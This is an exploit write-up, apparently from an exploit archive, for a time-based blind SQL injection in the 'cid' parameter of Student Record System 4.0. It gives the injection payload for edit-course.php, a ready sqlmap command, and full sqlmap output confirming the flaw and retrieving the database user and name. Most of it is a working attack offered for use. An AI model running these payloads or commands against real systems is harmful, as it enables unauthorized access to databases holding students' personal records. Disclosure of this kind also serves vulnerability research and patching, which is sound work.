Student Record System 4.0 Exploit, 'cid' SQL Injection

# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u
http://localhost/schoolmanagement/edit-course.php?cid=7  --batch
--dbms=mysql --current-db --current-user



        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:21:36 /2021-02-02/

[13:21:36] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'.
Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own
('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y
[13:21:37] [INFO] checking if the target is protected by some kind of
WAF/IPS
[13:21:37] [INFO] testing if the target URL content is stable
[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid'
might not be injectable
[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace
(original value)'
[13:21:38] [INFO] testing 'Generic inline queries'
[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace
(FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query
SLEEP)'
[13:21:39] [WARNING] time-based comparison requires larger statistical
model, please wait............... (done)
[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND
time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n] Y
[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:21:50] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other (potential) technique found
[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is
a false positive
GET parameter 'cid' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65
HTTP(s) requests:
---
Parameter: cid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND
'yXjI'='yXjI
---
[13:22:13] [INFO] the back-end DBMS is MySQL
[13:22:13] [WARNING] it is very important to not stress the network
connection during usage of time-based payloads to prevent potential
disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:22:18] [INFO] fetching current user
[13:22:18] [INFO] retrieved:
[13:22:28] [INFO] adjusting time delay to 1 second due to good response
times
root@localhost
current user: 'root@localhost'
[13:23:24] [INFO] fetching current database
[13:23:24] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[13:24:22] [INFO] fetched data logged to text files under

All rights reserved nPulse.net 2009 - 2021
Powered by: MVCP 2.0-RC / ASPF / PHP 7.4 / NGINX / FreeBSD